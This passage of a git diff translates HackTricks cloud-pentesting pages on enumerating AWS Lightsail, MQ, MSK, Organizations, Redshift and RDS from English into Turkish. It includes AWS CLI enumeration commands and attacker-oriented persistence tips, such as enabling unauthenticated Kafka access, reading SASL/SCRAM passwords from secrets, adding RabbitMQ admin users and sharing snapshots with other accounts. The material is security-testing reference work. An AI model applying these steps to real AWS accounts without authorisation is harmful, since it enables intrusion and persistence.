### Privesc -In the following page you can check how to **abuse Lambda permissions to escalate privileges**: +Aşağıdaki sayfada **Lambda izinlerini kötüye kullanarak ayrıcalıkları artırmayı** kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/aws-lambda-privesc.md {{#endref}} -### Unauthenticated Access +### Kimlik Doğrulaması Olmayan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md {{#endref}} -### Post Exploitation +### İstismar Sonrası {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/ {{#endref}} -### Persistence +### Süreklilik {{#ref}} ../aws-persistence/aws-lambda-persistence/ {{#endref}} -## References +## Referanslar - [https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer) - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 9f5ccb1ab..a91829ef9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,11 +4,10 @@ ## AWS - Lightsail -Amazon Lightsail provides an **easy**, lightweight way for new cloud users to take advantage of AWS’ cloud computing services. It allows you to deploy common and custom web services in seconds via **VMs** (**EC2**) and **containers**.\ -It's a **minimal EC2 + Route53 + ECS**. +Amazon Lightsail, yeni bulut kullanıcılarının AWS’in bulut bilişim hizmetlerinden yararlanması için **kolay**, hafif bir yol sunar. Yaygın ve özel web hizmetlerini **VM'ler** (**EC2**) ve **konteynerler** aracılığıyla saniyeler içinde dağıtmanıza olanak tanır.\ +Bu, **minimal EC2 + Route53 + ECS**'dir. ### Enumeration - ```bash # Instances aws lightsail get-instances #Get all @@ -29,35 +28,30 @@ aws lightsail get-load-balancers aws lightsail get-static-ips aws lightsail get-key-pairs ``` +### Anlık Görüntüleri Analiz Etme -### Analyse Snapshots +**Lightsail'den örnek ve ilişkisel veritabanı anlık görüntüleri oluşturmak mümkündür**. Bu nedenle, bunları [**EC2 anlık görüntüleri**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) ve [**RDS anlık görüntüleri**](aws-relational-database-rds-enum.md#enumeration) ile kontrol ettiğiniz gibi kontrol edebilirsiniz. -It's possible to generate **instance and relational database snapshots from lightsail**. Therefore you can check those the same way you can check [**EC2 snapshots**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) and [**RDS snapshots**](aws-relational-database-rds-enum.md#enumeration). +### Meta Veriler -### Metadata +**Meta veri uç noktası lightsail'den erişilebilir**, ancak makineler **AWS tarafından yönetilen bir AWS hesabında çalışmaktadır** bu nedenle **hangi izinlerin verildiğini kontrol edemezsiniz**. Ancak, bunları istismar etmenin bir yolunu bulursanız, doğrudan AWS'yi istismar etmiş olursunuz. -**Metadata endpoint is accessible from lightsail**, but the machines are running in an **AWS account managed by AWS** so you don't control **what permissions are being granted**. However, if you find a way to exploit those you would be directly exploiting AWS. - -### Privesc +### Yetki Yükseltme {{#ref}} ../aws-privilege-escalation/aws-lightsail-privesc.md {{#endref}} -### Post Exploitation +### İstismar Sonrası {{#ref}} ../aws-post-exploitation/aws-lightsail-post-exploitation.md {{#endref}} -### Persistence +### Süreklilik {{#ref}} ../aws-persistence/aws-lightsail-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 8504db545..d875cc46c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -4,28 +4,27 @@ ## Amazon MQ -### Introduction to Message Brokers +### Mesaj Aracılarına Giriş -**Message brokers** serve as intermediaries, facilitating communication between different software systems, which may be built on varied platforms and programmed in different languages. **Amazon MQ** simplifies the deployment, operation, and maintenance of message brokers on AWS. It provides managed services for **Apache ActiveMQ** and **RabbitMQ**, ensuring seamless provisioning and automatic software version updates. +**Mesaj aracıları**, farklı yazılım sistemleri arasında iletişimi kolaylaştıran aracılardır; bu sistemler farklı platformlarda inşa edilmiş ve farklı dillerde programlanmış olabilir. **Amazon MQ**, AWS üzerinde mesaj aracılarını dağıtmayı, işletmeyi ve bakımını basitleştirir. **Apache ActiveMQ** ve **RabbitMQ** için yönetilen hizmetler sunarak, kesintisiz sağlama ve otomatik yazılım sürümü güncellemeleri sağlar. ### AWS - RabbitMQ -RabbitMQ is a prominent **message-queueing software**, also known as a _message broker_ or _queue manager_. It's fundamentally a system where queues are configured. Applications interface with these queues to **send and receive messages**. Messages in this context can carry a variety of information, ranging from commands to initiate processes on other applications (potentially on different servers) to simple text messages. The messages are held by the queue-manager software until they are retrieved and processed by a receiving application. AWS provides an easy-to-use solution for hosting and managing RabbitMQ servers. +RabbitMQ, aynı zamanda _mesaj aracı_ veya _kuyruk yöneticisi_ olarak bilinen önde gelen bir **mesaj kuyruklama yazılımıdır**. Temelde, kuyrukların yapılandırıldığı bir sistemdir. Uygulamalar, bu kuyruklarla etkileşimde bulunarak **mesaj gönderir ve alır**. Bu bağlamda mesajlar, diğer uygulamalarda (potansiyel olarak farklı sunucularda) süreçleri başlatmak için komutlardan basit metin mesajlarına kadar çeşitli bilgileri taşıyabilir. Mesajlar, alıcı bir uygulama tarafından alınana ve işlenene kadar kuyruk yöneticisi yazılımı tarafından tutulur. AWS, RabbitMQ sunucularını barındırmak ve yönetmek için kullanımı kolay bir çözüm sunar. ### AWS - ActiveMQ -Apache ActiveMQ® is a leading open-source, Java-based **message broker** known for its versatility. It supports multiple industry-standard protocols, offering extensive client compatibility across a wide array of languages and platforms. Users can: +Apache ActiveMQ®, çok yönlülüğü ile bilinen önde gelen açık kaynaklı, Java tabanlı bir **mesaj aracıdır**. Birçok endüstri standardı protokolü destekler ve geniş bir dizi dil ve platformda kapsamlı istemci uyumluluğu sunar. Kullanıcılar: -- Connect with clients written in JavaScript, C, C++, Python, .Net, and more. -- Leverage the **AMQP** protocol to integrate applications from different platforms. -- Use **STOMP** over websockets for web application message exchanges. -- Manage IoT devices with **MQTT**. -- Maintain existing **JMS** infrastructure and extend its capabilities. +- JavaScript, C, C++, Python, .Net ve daha fazlasında yazılmış istemcilerle bağlantı kurabilir. +- Farklı platformlardan uygulamaları entegre etmek için **AMQP** protokolünü kullanabilir. +- Web uygulaması mesaj alışverişleri için websockets üzerinden **STOMP** kullanabilir. +- **MQTT** ile IoT cihazlarını yönetebilir. +- Mevcut **JMS** altyapısını koruyabilir ve yeteneklerini genişletebilir. -ActiveMQ's robustness and flexibility make it suitable for a multitude of messaging requirements. +ActiveMQ'nun sağlamlığı ve esnekliği, çok çeşitli mesajlaşma gereksinimleri için uygun hale getirir. ## Enumeration - ```bash # List brokers aws mq list-brokers @@ -48,9 +47,8 @@ aws mq list-configurations # Creacte Active MQ user aws mq create-user --broker-id --password --username --console-access ``` - > [!WARNING] -> TODO: Indicate how to enumerate RabbitMQ and ActiveMQ internally and how to listen in all queues and send data (send PR if you know how to do this) +> TODO: RabbitMQ ve ActiveMQ'yu dahili olarak nasıl listeleyeceğinizi ve tüm kuyruklarda nasıl dinleyeceğinizi ve veri göndereceğinizi belirtin (bunu nasıl yapacağınızı biliyorsanız PR gönderin) ## Privesc @@ -58,23 +56,19 @@ aws mq create-user --broker-id --password --username --c ../aws-privilege-escalation/aws-mq-privesc.md {{#endref}} -## Unauthenticated Access +## Kimlik Doğrulaması Olmadan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md {{#endref}} -## Persistence +## Süreklilik -If you know the credentials to access the RabbitMQ web console, you can create a new user qith admin privileges. +RabbitMQ web konsoluna erişim için kimlik bilgilerini biliyorsanız, admin ayrıcalıklarına sahip yeni bir kullanıcı oluşturabilirsiniz. -## References +## Referanslar - [https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html](https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html) - [https://activemq.apache.org/](https://activemq.apache.org/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index 42c7ca640..ae5814c3a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -4,22 +4,21 @@ ## Amazon MSK -**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** is a service that is fully managed, facilitating the development and execution of applications processing streaming data through **Apache Kafka**. Control-plane operations, including creation, update, and deletion of **clusters**, are offered by Amazon MSK. The service permits the utilization of Apache Kafka **data-plane operations**, encompassing data production and consumption. It operates on **open-source versions of Apache Kafka**, ensuring compatibility with existing applications, tooling, and plugins from both partners and the **Apache Kafka community**, eliminating the need for alterations in the application code. +**Amazon Managed Streaming for Apache Kafka (Amazon MSK)**, **Apache Kafka** üzerinden akış verilerini işleyen uygulamaların geliştirilmesini ve yürütülmesini kolaylaştıran tamamen yönetilen bir hizmettir. **Küme** oluşturma, güncelleme ve silme gibi kontrol düzlemi işlemleri Amazon MSK tarafından sunulmaktadır. Hizmet, veri üretimi ve tüketimini kapsayan Apache Kafka **veri düzlemi işlemlerinin** kullanılmasına izin verir. Mevcut uygulamalar, araçlar ve hem ortaklardan hem de **Apache Kafka topluluğundan** eklentilerle uyumluluğu sağlamak için **Apache Kafka'nın açık kaynak sürümleri** üzerinde çalışır ve uygulama kodunda değişiklik yapma ihtiyacını ortadan kaldırır. -In terms of reliability, Amazon MSK is designed to **automatically detect and recover from prevalent cluster failure scenarios**, ensuring that producer and consumer applications persist in their data writing and reading activities with minimal disruption. Moreover, it aims to optimize data replication processes by attempting to **reuse the storage of replaced brokers**, thereby minimizing the volume of data that needs to be replicated by Apache Kafka. +Güvenilirlik açısından, Amazon MSK, yaygın küme arıza senaryolarından **otomatik olarak tespit edip kurtulacak şekilde tasarlanmıştır**, böylece üretici ve tüketici uygulamaları veri yazma ve okuma faaliyetlerine minimum kesinti ile devam edebilir. Ayrıca, Apache Kafka tarafından çoğaltılması gereken veri miktarını en aza indirerek, **değiştirilen brokerların depolama alanını yeniden kullanmaya** çalışarak veri çoğaltma süreçlerini optimize etmeyi hedefler. -### **Types** +### **Türler** -There are 2 types of Kafka clusters that AWS allows to create: Provisioned and Serverless. +AWS'nin oluşturulmasına izin verdiği 2 tür Kafka kümesi vardır: Sağlanan ve Sunucusuz. -From the point of view of an attacker you need to know that: +Bir saldırgan açısından bilmeniz gerekenler: -- **Serverless cannot be directly public** (it can only run in a VPN without any publicly exposed IP). However, **Provisioned** can be configured to get a **public IP** (by default it doesn't) and configure the **security group** to **expose** the relevant ports. -- **Serverless** **only support IAM** as authentication method. **Provisioned** support SASL/SCRAM (**password**) authentication, **IAM** authentication, AWS **Certificate** Manager (ACM) authentication and **Unauthenticated** access. - - Note that it's not possible to expose publicly a Provisioned Kafka if unauthenticated access is enabled +- **Sunucusuz doğrudan halka açık olamaz** (sadece halka açık IP olmadan bir VPN'de çalışabilir). Ancak, **Sağlanan** bir **genel IP** almak için yapılandırılabilir (varsayılan olarak bunu yapmaz) ve ilgili portları **açığa çıkarmak** için **güvenlik grubunu** yapılandırabilir. +- **Sunucusuz** **yalnızca IAM** kimlik doğrulama yöntemi destekler. **Sağlanan**, SASL/SCRAM (**şifre**) kimlik doğrulaması, **IAM** kimlik doğrulaması, AWS **Sertifika** Yöneticisi (ACM) kimlik doğrulaması ve **Kimlik Doğrulaması Olmayan** erişimi destekler. +- Kimlik doğrulaması olmayan erişim etkinleştirildiğinde, Sağlanan bir Kafka'nın halka açık olarak açığa çıkarılmasının mümkün olmadığını unutmayın. ### Enumeration - ```bash #Get clusters aws kafka list-clusters @@ -43,9 +42,7 @@ aws kafka describe-configuration-revision --arn --revision ``` - -### Kafka IAM Access (in serverless) - +### Kafka IAM Erişimi (sunucusuz) ```bash # Guide from https://docs.aws.amazon.com/msk/latest/developerguide/create-serverless-cluster.html # Download Kafka @@ -75,29 +72,24 @@ kafka_2.12-2.8.1/bin/kafka-console-producer.sh --broker-list $BS --producer.conf # Read messages kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer.config client.properties --topic msk-serverless-tutorial --from-beginning ``` - ### Privesc {{#ref}} ../aws-privilege-escalation/aws-msk-privesc.md {{#endref}} -### Unauthenticated Access +### Kimlik Doğrulama Olmadan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md {{#endref}} -### Persistence +### Süreklilik -If you are going to **have access to the VPC** where a Provisioned Kafka is, you could **enable unauthorised access**, if **SASL/SCRAM authentication**, **read** the password from the secret, give some **other controlled user IAM permissions** (if IAM or serverless used) or persist with **certificates**. +Eğer **Provisioned Kafka'nın bulunduğu VPC'ye erişiminiz olacaksa**, **yetkisiz erişimi etkinleştirebilirsiniz**, eğer **SASL/SCRAM kimlik doğrulaması** varsa, şifreyi gizli bilgiden **okuyabilir**, bazı **diğer kontrol edilen kullanıcı IAM izinleri** verebilir (eğer IAM veya sunucusuz kullanılıyorsa) veya **sertifikalarla** devam edebilirsiniz. -## References +## Referanslar - [https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html](https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index df5a51a37..e8b00ed43 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -2,23 +2,22 @@ {{#include ../../../banners/hacktricks-training.md}} -## Baisc Information +## Temel Bilgiler -AWS Organizations facilitates the creation of new AWS accounts without incurring additional costs. Resources can be allocated effortlessly, accounts can be efficiently grouped, and governance policies can be applied to individual accounts or groups, enhancing management and control within the organization. +AWS Organizations, ek maliyetler olmadan yeni AWS hesapları oluşturmayı kolaylaştırır. Kaynaklar zahmetsizce tahsis edilebilir, hesaplar verimli bir şekilde gruplandırılabilir ve bireysel hesaplara veya gruplara yönetim politikaları uygulanabilir, bu da organizasyon içindeki yönetim ve kontrolü artırır. -Key Points: +Ana Noktalar: -- **New Account Creation**: AWS Organizations allows the creation of new AWS accounts without extra charges. -- **Resource Allocation**: It simplifies the process of allocating resources across the accounts. -- **Account Grouping**: Accounts can be grouped together, making management more streamlined. -- **Governance Policies**: Policies can be applied to accounts or groups of accounts, ensuring compliance and governance across the organization. +- **Yeni Hesap Oluşturma**: AWS Organizations, ek ücretler olmadan yeni AWS hesapları oluşturulmasına olanak tanır. +- **Kaynak Tahsisi**: Hesaplar arasında kaynak tahsis etme sürecini basitleştirir. +- **Hesap Gruplama**: Hesaplar bir araya getirilebilir, bu da yönetimi daha akıcı hale getirir. +- **Yönetim Politikaları**: Politika, hesaplara veya hesap gruplarına uygulanabilir, bu da organizasyon genelinde uyum ve yönetimi sağlar. -You can find more information in: +Daha fazla bilgi bulabilirsiniz: {{#ref}} ../aws-basic-information/ {{#endref}} - ```bash # Get Org aws organizations describe-organization @@ -39,13 +38,8 @@ aws organizations list-accounts-for-parent --parent-id ou-n8s9-8nzv3a5y ## You need the permission iam:GetAccountSummary aws iam get-account-summary ``` - -## References +## Referanslar - https://aws.amazon.com/organizations/ {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index d5cb84f1d..48a8ff082 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -1,28 +1,20 @@ -# AWS - Other Services Enum +# AWS - Diğer Hizmetler Enum {{#include ../../../banners/hacktricks-training.md}} ## Directconnect -Allows to **connect a corporate private network with AWS** (so you could compromise an EC2 instance and access the corporate network). - +**Bir kurumsal özel ağı AWS ile bağlamaya** olanak tanır (böylece bir EC2 örneğini tehlikeye atabilir ve kurumsal ağa erişebilirsiniz). ``` aws directconnect describe-connections aws directconnect describe-interconnects aws directconnect describe-virtual-gateways aws directconnect describe-virtual-interfaces ``` +## Destek -## Support - -In AWS you can access current and previous support cases via the API - +AWS'de mevcut ve önceki destek vakalarına API aracılığıyla erişebilirsiniz. ``` aws support describe-cases --include-resolved-cases ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index 7ae94d5d6..e5c3067be 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -4,46 +4,45 @@ ## Amazon Redshift -Redshift is a fully managed service that can scale up to over a petabyte in size, which is used as a **data warehouse for big data solutions**. Using Redshift clusters, you are able to run analytics against your datasets using fast, SQL-based query tools and business intelligence applications to gather greater understanding of vision for your business. +Redshift, **büyük veri çözümleri için bir veri ambarı olarak** kullanılan, bir petabayttan fazla ölçeklenebilen tamamen yönetilen bir hizmettir. Redshift kümelerini kullanarak, veri setleriniz üzerinde hızlı, SQL tabanlı sorgu araçları ve iş zekası uygulamaları kullanarak analizler yapabilir ve işiniz için daha büyük bir anlayış elde edebilirsiniz. -**Redshift offers encryption at rest using a four-tired hierarchy of encryption keys using either KMS or CloudHSM to manage the top tier of keys**. **When encryption is enabled for your cluster, it can't be disable and vice versa**. When you have an unencrypted cluster, it can't be encrypted. +**Redshift, KMS veya CloudHSM kullanarak anahtarların en üst katmanını yönetmek için dört katmanlı bir şifreleme anahtarı hiyerarşisi kullanarak dinlenme sırasında şifreleme sunar**. **Kümeniz için şifreleme etkinleştirildiğinde, devre dışı bırakılamaz ve tersine**. Şifrelenmemiş bir kümeniz olduğunda, şifrelenemez. -Encryption for your cluster can only happen during its creation, and once encrypted, the data, metadata, and any snapshots are also encrypted. The tiering level of encryption keys are as follows, **tier one is the master key, tier two is the cluster encryption key, the CEK, tier three, the database encryption key, the DEK, and finally tier four, the data encryption keys themselves**. +Kümeniz için şifreleme yalnızca oluşturulması sırasında gerçekleşebilir ve bir kez şifrelendiğinde, veri, meta veri ve herhangi bir anlık görüntü de şifrelenir. Şifreleme anahtarlarının katmanlama seviyesi şu şekildedir: **birinci katman anahtar, ikinci katman küme şifreleme anahtarı, CEK, üçüncü katman veritabanı şifreleme anahtarı, DEK ve son olarak dördüncü katman, veri şifreleme anahtarlarıdır**. ### KMS -During the creation of your cluster, you can either select the **default KMS key** for Redshift or select your **own CMK**, which gives you more flexibility over the control of the key, specifically from an auditable perspective. +Kümenizi oluştururken, Redshift için **varsayılan KMS anahtarını** seçebilir veya **kendi CMK'nizi** seçebilirsiniz; bu, anahtarın kontrolü üzerinde daha fazla esneklik sağlar, özellikle denetlenebilir bir perspektiften. -The default KMS key for Redshift is automatically created by Redshift the first time the key option is selected and used, and it is fully managed by AWS. +Redshift için varsayılan KMS anahtarı, anahtar seçeneği ilk kez seçildiğinde ve kullanıldığında Redshift tarafından otomatik olarak oluşturulur ve AWS tarafından tamamen yönetilir. -This KMS key is then encrypted with the CMK master key, tier one. This encrypted KMS data key is then used as the cluster encryption key, the CEK, tier two. This CEK is then sent by KMS to Redshift where it is stored separately from the cluster. Redshift then sends this encrypted CEK to the cluster over a secure channel where it is stored in memory. +Bu KMS anahtarı daha sonra CMK anahtarının, birinci katman, ile şifrelenir. Bu şifrelenmiş KMS veri anahtarı daha sonra küme şifreleme anahtarı, CEK, ikinci katman olarak kullanılır. Bu CEK daha sonra KMS tarafından Redshift'e gönderilir ve burada kümeden ayrı olarak saklanır. Redshift daha sonra bu şifrelenmiş CEK'yi güvenli bir kanal üzerinden kümeye gönderir ve burada bellekte saklanır. -Redshift then requests KMS to decrypt the CEK, tier two. This decrypted CEK is then also stored in memory. Redshift then creates a random database encryption key, the DEK, tier three, and loads that into the memory of the cluster. The decrypted CEK in memory then encrypts the DEK, which is also stored in memory. +Redshift daha sonra KMS'ten CEK'yi, ikinci katman, şifre çözmesini ister. Bu şifrelenmiş CEK daha sonra bellekte de saklanır. Redshift daha sonra rastgele bir veritabanı şifreleme anahtarı, DEK, üçüncü katman oluşturur ve bunu kümenin belleğine yükler. Bellekteki şifrelenmemiş CEK, DEK'yi şifreler ve bu da bellekte saklanır. -This encrypted DEK is then sent over a secure channel and stored in Redshift separately from the cluster. Both the CEK and the DEK are now stored in memory of the cluster both in an encrypted and decrypted form. The decrypted DEK is then used to encrypt data keys, tier four, that are randomly generated by Redshift for each data block in the database. +Bu şifrelenmiş DEK daha sonra güvenli bir kanal üzerinden gönderilir ve Redshift'te kümeden ayrı olarak saklanır. Hem CEK hem de DEK artık hem şifrelenmiş hem de şifrelenmemiş formda kümenin belleğinde saklanmaktadır. Şifrelenmemiş DEK daha sonra Redshift tarafından veritabanındaki her veri bloğu için rastgele üretilen veri anahtarlarını şifrelemek için kullanılır. -You can use AWS Trusted Advisor to monitor the configuration of your Amazon S3 buckets and ensure that bucket logging is enabled, which can be useful for performing security audits and tracking usage patterns in S3. +Amazon S3 kovalarınızın yapılandırmasını izlemek ve kova günlüğü kaydının etkin olduğundan emin olmak için AWS Trusted Advisor'ı kullanabilirsiniz; bu, güvenlik denetimleri gerçekleştirmek ve S3'teki kullanım desenlerini izlemek için yararlı olabilir. ### CloudHSM
-Using Redshift with CloudHSM +CloudHSM ile Redshift Kullanma -When working with CloudHSM to perform your encryption, firstly you must set up a trusted connection between your HSM client and Redshift while using client and server certificates. +CloudHSM ile şifreleme gerçekleştirmek için çalışırken, öncelikle HSM istemciniz ile Redshift arasında güvenilir bir bağlantı kurmalısınız ve istemci ve sunucu sertifikalarını kullanmalısınız. -This connection is required to provide secure communications, allowing encryption keys to be sent between your HSM client and your Redshift clusters. Using a randomly generated private and public key pair, Redshift creates a public client certificate, which is encrypted and stored by Redshift. This must be downloaded and registered to your HSM client, and assigned to the correct HSM partition. +Bu bağlantı, HSM istemciniz ile Redshift kümeleriniz arasında şifreleme anahtarlarının gönderilmesine olanak tanıyan güvenli iletişim sağlamak için gereklidir. Rastgele üretilen bir özel ve genel anahtar çifti kullanarak, Redshift bir genel istemci sertifikası oluşturur; bu sertifika şifrelenir ve Redshift tarafından saklanır. Bu, indirilip HSM istemcinize kaydedilmeli ve doğru HSM bölümüne atanmalıdır. -You must then configure Redshift with the following details of your HSM client: the HSM IP address, the HSM partition name, the HSM partition password, and the public HSM server certificate, which is encrypted by CloudHSM using an internal master key. Once this information has been provided, Redshift will confirm and verify that it can connect and access development partition. +Daha sonra Redshift'i HSM istemcinizin aşağıdaki bilgileri ile yapılandırmalısınız: HSM IP adresi, HSM bölüm adı, HSM bölüm şifresi ve CloudHSM tarafından iç anahtar kullanılarak şifrelenmiş genel HSM sunucu sertifikası. Bu bilgiler sağlandığında, Redshift bağlantı kurabileceğini ve geliştirme bölümüne erişebileceğini onaylayacak ve doğrulayacaktır. -If your internal security policies or governance controls dictate that you must apply key rotation, then this is possible with Redshift enabling you to rotate encryption keys for encrypted clusters, however, you do need to be aware that during the key rotation process, it will make a cluster unavailable for a very short period of time, and so it's best to only rotate keys as and when you need to, or if you feel they may have been compromised. +Eğer iç güvenlik politikalarınız veya yönetişim kontrolleriniz anahtar döngüsü uygulamanız gerektiğini belirtiyorsa, bu Redshift ile mümkündür ve şifrelenmiş kümeler için şifreleme anahtarlarını döndürmenizi sağlar; ancak, anahtar döngüsü sürecinde, kümenin çok kısa bir süreliğine kullanılamaz hale geleceğini bilmelisiniz, bu nedenle anahtarları yalnızca gerektiğinde veya tehlikeye girmiş olabileceğini düşündüğünüzde döndürmek en iyisidir. -During the rotation, Redshift will rotate the CEK for your cluster and for any backups of that cluster. It will rotate a DEK for the cluster but it's not possible to rotate a DEK for the snapshots stored in S3 that have been encrypted using the DEK. It will put the cluster into a state of 'rotating keys' until the process is completed when the status will return to 'available'. +Döngü sırasında, Redshift kümeniz için CEK'yi ve o kümenin yedekleri için DEK'yi döndürecektir. Küme için DEK'yi döndürmek mümkündür, ancak DEK kullanılarak şifrelenmiş S3'te saklanan anlık görüntüler için DEK'yi döndürmek mümkün değildir. Süreç tamamlanana kadar küme 'anahtar döndürme' durumuna alınacak ve durum 'kullanılabilir' olarak geri dönecektir.
### Enumeration - ```bash # Get clusters aws redshift describe-clusters @@ -82,22 +81,17 @@ aws redshift describe-scheduled-actions # The redshift instance must be publicly available (not by default), the sg need to allow inbounds connections to the port and you need creds psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U admin -d dev -p 5439 ``` - ## Privesc {{#ref}} ../aws-privilege-escalation/aws-redshift-privesc.md {{#endref}} -## Persistence +## Süreklilik -The following actions allow to grant access to other AWS accounts to the cluster: +Aşağıdaki eylemler, kümeye diğer AWS hesaplarına erişim verme imkanı sağlar: - [authorize-endpoint-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-endpoint-access.html) - [authorize-snapshot-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-snapshot-access.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index 473369403..ef19e41bb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -1,77 +1,76 @@ -# AWS - Relational Database (RDS) Enum +# AWS - İlişkisel Veritabanı (RDS) Enum {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -The **Relational Database Service (RDS)** offered by AWS is designed to streamline the deployment, operation, and scaling of a **relational database in the cloud**. This service offers the advantages of cost efficiency and scalability while automating labor-intensive tasks like hardware provisioning, database configuration, patching, and backups. +AWS tarafından sunulan **İlişkisel Veritabanı Servisi (RDS)**, **bulutta bir ilişkisel veritabanının** dağıtımını, işletimini ve ölçeklenmesini kolaylaştırmak için tasarlanmıştır. Bu hizmet, donanım sağlama, veritabanı yapılandırması, yamanın uygulanması ve yedekleme gibi iş gücü yoğun görevleri otomatikleştirirken maliyet verimliliği ve ölçeklenebilirlik avantajları sunar. -AWS RDS supports various widely-used relational database engines including MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server, and Amazon Aurora, with compatibility for both MySQL and PostgreSQL. +AWS RDS, MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server ve Amazon Aurora gibi yaygın olarak kullanılan çeşitli ilişkisel veritabanı motorlarını destekler ve hem MySQL hem de PostgreSQL ile uyumludur. -Key features of RDS include: +RDS'nin ana özellikleri şunlardır: -- **Management of database instances** is simplified. -- Creation of **read replicas** to enhance read performance. -- Configuration of **multi-Availability Zone (AZ) deployments** to ensure high availability and failover mechanisms. -- **Integration** with other AWS services, such as: - - AWS Identity and Access Management (**IAM**) for robust access control. - - AWS **CloudWatch** for comprehensive monitoring and metrics. - - AWS Key Management Service (**KMS**) for ensuring encryption at rest. +- **Veritabanı örneklerinin yönetimi** basitleştirilmiştir. +- Okuma performansını artırmak için **okuma kopyaları** oluşturma. +- Yüksek kullanılabilirlik ve failover mekanizmalarını sağlamak için **çoklu Erişim Alanı (AZ) dağıtımları** yapılandırma. +- Diğer AWS hizmetleri ile **entegrasyon**, örneğin: +- Güçlü erişim kontrolü için AWS Kimlik ve Erişim Yönetimi (**IAM**). +- Kapsamlı izleme ve metrikler için AWS **CloudWatch**. +- Dinlenme sırasında şifrelemeyi sağlamak için AWS Anahtar Yönetim Servisi (**KMS**). -## Credentials +## Kimlik Bilgileri -When creating the DB cluster the master **username** can be configured (**`admin`** by default). To generate the password of this user you can: +DB kümesi oluşturulurken ana **kullanıcı adı** yapılandırılabilir (**varsayılan olarak `admin`**). Bu kullanıcının şifresini oluşturmak için şunları yapabilirsiniz: -- **Indicate** a **password** yourself -- Tell RDS to **auto generate** it -- Tell RDS to manage it in **AWS Secret Manager** encrypted with a KMS key +- **Kendiniz bir şifre belirtin** +- RDS'ye **otomatik olarak oluşturmasını** söyleyin +- RDS'ye **AWS Secret Manager**'da KMS anahtarı ile şifrelenmiş olarak yönetmesini söyleyin
-### Authentication +### Kimlik Doğrulama -There are 3 types of authentication options, but using the **master password is always allowed**: +3 tür kimlik doğrulama seçeneği vardır, ancak **ana şifre her zaman kullanılabilir**:
